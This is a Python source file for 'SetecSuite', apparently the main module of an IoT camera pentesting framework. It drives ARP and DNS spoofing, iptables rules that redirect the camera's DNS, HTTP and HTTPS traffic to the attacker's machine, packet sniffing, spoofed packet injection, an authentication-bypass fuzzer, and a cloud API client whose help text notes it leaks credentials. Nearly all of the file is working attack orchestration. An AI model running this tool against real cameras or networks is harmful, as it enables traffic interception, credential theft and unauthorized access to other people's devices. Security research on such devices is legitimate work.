#!/usr/bin/env python3 """ SetecSuite — Camera MITM Tool All-in-one IoT camera pentesting framework with TUI. Usage: sudo python3 mitm.py """ import curses import os import sys import json import signal import threading import time from collections import deque # Add project root to path sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) from config import Config from utils.log import log, log_lines, init_logfile, close_logfile, lock from utils.log import C_NONE, C_ERROR, C_SUCCESS, C_INFO, C_TRAFFIC, C_IMPORTANT from services import arp_spoof, dns_spoof, http_server, udp_listener, sniffer, intruder_watch from api import ubox_client, server as rest_server, fuzzer from inject import packet SERVICE_DEFS = [ # (name, flag_key, runner_factory) ("arp", "arp", lambda cfg, flags, ck: arp_spoof.run(cfg, flags, ck)), ("dns", "dns", lambda cfg, flags, ck: dns_spoof.run(cfg, flags, ck)), ("http", "http", lambda cfg, flags, ck: http_server.run_http(cfg, flags, ck)), ("https", "https", lambda cfg, flags, ck: http_server.run_https(cfg, flags, ck)), ("udp10240", "udp10240", lambda cfg, flags, ck: udp_listener.run(10240, cfg, flags, ck)), ("udp20001", "udp20001", lambda cfg, flags, ck: udp_listener.run(20001, cfg, flags, ck)), ("sniffer", "sniffer", lambda cfg, flags, ck: sniffer.run(cfg, flags, ck)), ("intruder", "intruder", lambda cfg, flags, ck: intruder_watch.run(cfg, flags, ck)), ] SERVICE_NAMES = [s[0] for s in SERVICE_DEFS] SERVICE_BY_NAME = {s[0]: s for s in SERVICE_DEFS} class Controller: def __init__(self): self.cfg = Config() self.flags = {} self.running = True self.services_running = False self.fuzzer = None self._devices = [] # per-service running state for individual on/off self._svc_running = {n: False for n in SERVICE_NAMES} self._iptables_up = False def get_devices(self): return self._devices # ─── Service Control ────────────────────────────────── def _ensure_iptables(self): if not self._iptables_up: os.system("pkill -f arpspoof 2>/dev/null") os.makedirs(self.cfg["log_dir"], exist_ok=True) self._setup_iptables() self._iptables_up = True def start_service(self, name): if name not in SERVICE_BY_NAME: log(f"unknown service: {name}", C_ERROR) return if self._svc_running.get(name): log(f"{name} already running", C_ERROR) return self._ensure_iptables() # Free ports if needed if name == "http": os.system("fuser -k 80/tcp 2>/dev/null") elif name == "https": os.system("fuser -k 443/tcp 2>/dev/null") elif name == "dns": os.system("fuser -k 53/udp 2>/dev/null") elif name == "udp10240": os.system("fuser -k 10240/udp 2>/dev/null") elif name == "udp20001": os.system("fuser -k 20001/udp 2>/dev/null") time.sleep(0.2) self._svc_running[name] = True check = lambda n=name: self.running and self._svc_running.get(n, False) runner = SERVICE_BY_NAME[name][2] threading.Thread( target=lambda: runner(self.cfg, self.flags, check), daemon=True, name=f"svc-{name}", ).start() self.services_running = any(self._svc_running.values()) log(f"started: {name}", C_SUCCESS) def stop_service(self, name): if name not in SERVICE_BY_NAME: log(f"unknown service: {name}", C_ERROR) return if not self._svc_running.get(name): log(f"{name} not running", C_ERROR) return self._svc_running[name] = False log(f"stopping: {name}…", C_INFO) # Force-close listening sockets so accept() unblocks if name == "http": os.system("fuser -k 80/tcp 2>/dev/null") elif name == "https": os.system("fuser -k 443/tcp 2>/dev/null") elif name == "dns": os.system("fuser -k 53/udp 2>/dev/null") elif name == "udp10240": os.system("fuser -k 10240/udp 2>/dev/null") elif name == "udp20001": os.system("fuser -k 20001/udp 2>/dev/null") time.sleep(0.5) self.flags[name] = False self.services_running = any(self._svc_running.values()) def toggle_service(self, name): if self._svc_running.get(name): self.stop_service(name) else: self.start_service(name) def start_services(self): if self.services_running: log("Services already running", C_ERROR) return self._ensure_iptables() for name in SERVICE_NAMES: self.start_service(name) time.sleep(0.3) log("All MITM services started", C_SUCCESS) def stop_services(self): if not self.services_running: log("Services not running", C_ERROR) return log("Stopping all services...", C_INFO) for name in SERVICE_NAMES: if self._svc_running.get(name): self.stop_service(name) time.sleep(1) self._cleanup_iptables() self._iptables_up = False self.flags.clear() self.services_running = False log("Services stopped", C_INFO) def _setup_iptables(self): cam = self.cfg["camera_ip"] us = self.cfg["our_ip"] for cmd in [ "sysctl -w net.ipv4.ip_forward=1", "iptables -A OUTPUT -p icmp --icmp-type redirect -j DROP", f"iptables -t nat -A PREROUTING -s {cam} -p udp --dport 53 -j DNAT --to-destination {us}:53", f"iptables -t nat -A PREROUTING -s {cam} -p tcp --dport 80 -j DNAT --to-destination {us}:80", f"iptables -t nat -A PREROUTING -s {cam} -p tcp --dport 443 -j DNAT --to-destination {us}:443", ]: os.system(cmd + " >/dev/null 2>&1") log("iptables rules applied", C_INFO) def _cleanup_iptables(self): cam = self.cfg["camera_ip"] us = self.cfg["our_ip"] for cmd in [ "iptables -D OUTPUT -p icmp --icmp-type redirect -j DROP", f"iptables -t nat -D PREROUTING -s {cam} -p udp --dport 53 -j DNAT --to-destination {us}:53", f"iptables -t nat -D PREROUTING -s {cam} -p tcp --dport 80 -j DNAT --to-destination {us}:80", f"iptables -t nat -D PREROUTING -s {cam} -p tcp --dport 443 -j DNAT --to-destination {us}:443", ]: os.system(cmd + " >/dev/null 2>&1") # ─── Fuzzer ─────────────────────────────────────────── def run_fuzz_endpoints(self): self.fuzzer = fuzzer.Fuzzer(self.cfg) self.fuzzer.fuzz_endpoints() self.fuzzer.save_results() def run_fuzz_params(self, endpoint): self.fuzzer = fuzzer.Fuzzer(self.cfg) self.fuzzer.fuzz_params(endpoint) self.fuzzer.save_results() def run_fuzz_auth(self): self.fuzzer = fuzzer.Fuzzer(self.cfg) self.fuzzer.fuzz_auth() self.fuzzer.save_results() # ─── Packet Injection ───────────────────────────────── def inject_packet(self, params): return packet.inject(self.cfg, params) # ─── Command Processing ─────────────────────────────── def process_command(self, cmd): parts = cmd.strip().split() if not parts: return c = parts[0].lower() if c == "help": for line in HELP.split("\n"): log(line, C_INFO) elif c == "start": threading.Thread(target=self.start_services, daemon=True).start() elif c == "stop": threading.Thread(target=self.stop_services, daemon=True).start() elif c == "status": flags = ", ".join(f"{k}:{'ON' if v else 'off'}" for k, v in self.flags.items()) log(f"MITM: {'RUNNING' if self.services_running else 'STOPPED'} {flags}", C_INFO) log(f"REST API: :{self.cfg['rest_port']} Token: {'yes' if self.cfg['api_token'] else 'no'}", C_INFO) elif c == "config": for k, v in self.cfg.safe_dict().items(): log(f" {k}: {v}", C_INFO) elif c == "set" and len(parts) >= 3: key = parts[1] val = " ".join(parts[2:]) if key in self.cfg.keys(): # Type coerce old = self.cfg[key] if isinstance(old, int): val = int(val) elif isinstance(old, float): val = float(val) self.cfg[key] = val self.cfg.save() log(f"Set {key} = {val if 'password' not in key else '***'}", C_SUCCESS) else: log(f"Unknown key. Valid: {', '.join(self.cfg.keys())}", C_ERROR) elif c == "save": self.cfg.save() log("Config saved", C_SUCCESS) elif c == "login": threading.Thread(target=ubox_client.login, args=(self.cfg,), daemon=True).start() elif c == "devices": def _get(): self._devices = ubox_client.devices(self.cfg) threading.Thread(target=_get, daemon=True).start() elif c == "firmware": threading.Thread(target=ubox_client.check_firmware, args=(self.cfg,), daemon=True).start() elif c == "services": threading.Thread(target=ubox_client.device_services, args=(self.cfg,), daemon=True).start() elif c == "families": threading.Thread(target=ubox_client.families, args=(self.cfg,), daemon=True).start() elif c == "api" and len(parts) >= 2: ep = " ".join(parts[1:]) threading.Thread(target=ubox_client.raw_request, args=(self.cfg, ep), daemon=True).start() elif c == "fuzz": if len(parts) < 2: log("Usage: fuzz endpoints|params |auth|stop|results", C_ERROR) elif parts[1] == "endpoints": threading.Thread(target=self.run_fuzz_endpoints, daemon=True).start() elif parts[1] == "params" and len(parts) >= 3: threading.Thread(target=self.run_fuzz_params, args=(parts[2],), daemon=True).start() elif parts[1] == "auth": threading.Thread(target=self.run_fuzz_auth, daemon=True).start() elif parts[1] == "stop": if self.fuzzer: self.fuzzer.stop() log("Fuzzer stopped", C_INFO) elif parts[1] == "results": if self.fuzzer: self.fuzzer.save_results() else: log("No fuzzer results", C_ERROR) else: log("Usage: fuzz endpoints|params |auth|stop|results", C_ERROR) elif c == "inject": if len(parts) < 3: log("Usage: inject udp ", C_ERROR) log(" inject arp_reply ", C_ERROR) log(" inject dns_query ", C_ERROR) elif parts[1] == "udp" and len(parts) >= 5: packet.inject(self.cfg, { "type": "udp", "dst_ip": parts[2], "dst_port": int(parts[3]), "payload": " ".join(parts[4:]), "payload_hex": True, }) elif parts[1] == "arp_reply" and len(parts) >= 4: packet.inject(self.cfg, { "type": "arp_reply", "src_ip": parts[2], "dst_ip": parts[3], }) elif parts[1] == "dns_query" and len(parts) >= 3: packet.inject(self.cfg, {"type": "dns_query", "domain": parts[2]}) else: log("inject: invalid args", C_ERROR) elif c == "clear": with lock: log_lines.clear() elif c in ("quit", "q", "exit"): if self.services_running: self.stop_services() self.running = False else: log(f"Unknown: {cmd}. Type 'help'.", C_ERROR) HELP = """ ── MITM Services ────────────────────────────────────────── start Start all MITM services stop Stop all services, restore ARP status Show running services ── Configuration ────────────────────────────────────────── config Show all settings set Set config (camera_ip, our_ip, router_ip, iface, camera_mac, api_email, api_password, rest_port, fuzzer_threads, fuzzer_delay) save Save config to disk ── UBox Cloud API ───────────────────────────────────────── login Authenticate to UBox cloud devices List devices (leaks creds!) firmware Check firmware version services Query device services families List account families api Raw POST to any API endpoint ── Fuzzer ───────────────────────────────────────────────── fuzz endpoints Discover hidden API endpoints fuzz params Fuzz parameters on endpoint fuzz auth Test authentication bypass fuzz stop Stop running fuzzer fuzz results Save fuzzer results to file ── Packet Injection ─────────────────────────────────────── inject udp Send UDP packet inject arp_reply Send spoofed ARP reply inject dns_query Send DNS query ── General ──────────────────────────────────────────────── clear Clear log help Show this help quit Exit ── REST API (for external tools) ────────────────────────── Runs on port 9090 (configurable via 'set rest_port') GET /status, /logs, /devices, /config, /fuzz/results POST /start, /stop, /config, /command, /api, /fuzz/endpoints, /fuzz/params, /fuzz/auth, /inject """.strip() def curses_main(stdscr, ctrl): curses.curs_set(1) curses.start_color() curses.use_default_colors() curses.init_pair(1, curses.COLOR_RED, -1) curses.init_pair(2, curses.COLOR_GREEN, -1) curses.init_pair(3, curses.COLOR_CYAN, -1) curses.init_pair(4, curses.COLOR_YELLOW, -1) curses.init_pair(5, curses.COLOR_MAGENTA, -1) curses.init_pair(6, curses.COLOR_BLACK, curses.COLOR_WHITE) curses.init_pair(7, curses.COLOR_BLACK, curses.COLOR_GREEN) stdscr.nodelay(True) stdscr.keypad(True) input_buf = "" scroll_offset = 0 cmd_history = deque(maxlen=50) hist_idx = -1 log("SetecSuite — Camera MITM Tool", C_INFO) log(f"Target: {ctrl.cfg['camera_ip']} Us: {ctrl.cfg['our_ip']} Router: {ctrl.cfg['router_ip']}", C_INFO) log(f"REST API on :{ctrl.cfg['rest_port']} | Type 'help' for commands", C_INFO) log("", C_NONE) # Start REST API server threading.Thread(target=rest_server.start_server, args=(ctrl, ctrl.cfg["rest_port"]), daemon=True).start() while ctrl.running: try: h, w = stdscr.getmaxyx() if h < 5 or w < 40: time.sleep(0.1) continue stdscr.erase() # ─── Title bar ──────────────────────────────── title = " SetecSuite MITM " parts = [] if ctrl.services_running: parts.append("MITM:ON") else: parts.append("MITM:OFF") for k, v in ctrl.flags.items(): parts.append(f"{k}:{'✓' if v else '✗'}") if ctrl.cfg["api_token"]: parts.append("API:✓") if ctrl.cfg["device_uid"]: parts.append(f"UID:{ctrl.cfg['device_uid'][:8]}") bar = f"{title}| {' | '.join(parts)} " pair = 7 if ctrl.services_running else 6 try: stdscr.addstr(0, 0, bar.ljust(w)[:w], curses.color_pair(pair) | curses.A_BOLD) except curses.error: pass # ─── Log area ───────────────────────────────── log_h = h - 3 with lock: visible = list(log_lines) total = len(visible) if scroll_offset > max(0, total - log_h): scroll_offset = max(0, total - log_h) start_idx = max(0, total - log_h - scroll_offset) end_idx = start_idx + log_h for i, idx in enumerate(range(start_idx, min(end_idx, total))): line, color = visible[idx] y = i + 1 if y >= h - 2: break try: display = line[:w - 1] attr = curses.color_pair(color) if color else 0 stdscr.addstr(y, 0, display, attr) except curses.error: pass # ─── Separator ──────────────────────────────── try: stdscr.addstr(h - 2, 0, "─" * (w - 1), curses.color_pair(3)) except curses.error: pass # ─── Input ──────────────────────────────────── prompt = "❯ " try: stdscr.addstr(h - 1, 0, prompt, curses.color_pair(2) | curses.A_BOLD) stdscr.addstr(h - 1, len(prompt), input_buf[:w - len(prompt) - 1]) stdscr.move(h - 1, min(len(prompt) + len(input_buf), w - 1)) except curses.error: pass stdscr.refresh() # ─── Key handling ───────────────────────────── try: ch = stdscr.getch() except: ch = -1 if ch == -1: time.sleep(0.04) continue elif ch in (10, 13): # Enter if input_buf.strip(): cmd_history.appendleft(input_buf) hist_idx = -1 ctrl.process_command(input_buf) input_buf = "" scroll_offset = 0 elif ch == 27: # Escape input_buf = "" hist_idx = -1 elif ch in (curses.KEY_BACKSPACE, 127, 8): input_buf = input_buf[:-1] elif ch == curses.KEY_UP: if cmd_history: hist_idx = min(hist_idx + 1, len(cmd_history) - 1) input_buf = cmd_history[hist_idx] elif ch == curses.KEY_DOWN: if hist_idx > 0: hist_idx -= 1 input_buf = cmd_history[hist_idx] elif hist_idx == 0: hist_idx = -1 input_buf = "" elif ch == curses.KEY_PPAGE: scroll_offset = min(scroll_offset + log_h, max(0, total - log_h)) elif ch == curses.KEY_NPAGE: scroll_offset = max(0, scroll_offset - log_h) elif ch == curses.KEY_HOME: scroll_offset = max(0, total - log_h) elif ch == curses.KEY_END: scroll_offset = 0 elif 32 <= ch < 127: input_buf += chr(ch) except KeyboardInterrupt: if ctrl.services_running: ctrl.stop_services() ctrl.running = False except Exception as e: log(f"UI: {e}", C_ERROR) time.sleep(0.1) def main(): if os.geteuid() != 0: print("Run with: sudo python3 mitm.py") sys.exit(1) ctrl = Controller() os.makedirs(ctrl.cfg["log_dir"], exist_ok=True) init_logfile(f"{ctrl.cfg['log_dir']}/mitm.log") signal.signal(signal.SIGINT, lambda s, f: None) # Let curses handle it try: curses.wrapper(lambda stdscr: curses_main(stdscr, ctrl)) finally: if ctrl.services_running: ctrl.stop_services() close_logfile() print(f"\nLogs: {ctrl.cfg['log_dir']}/") print(f"Config: {Config.CONFIG_FILE if hasattr(Config, 'CONFIG_FILE') else 'config.json'}") if __name__ == "__main__": main()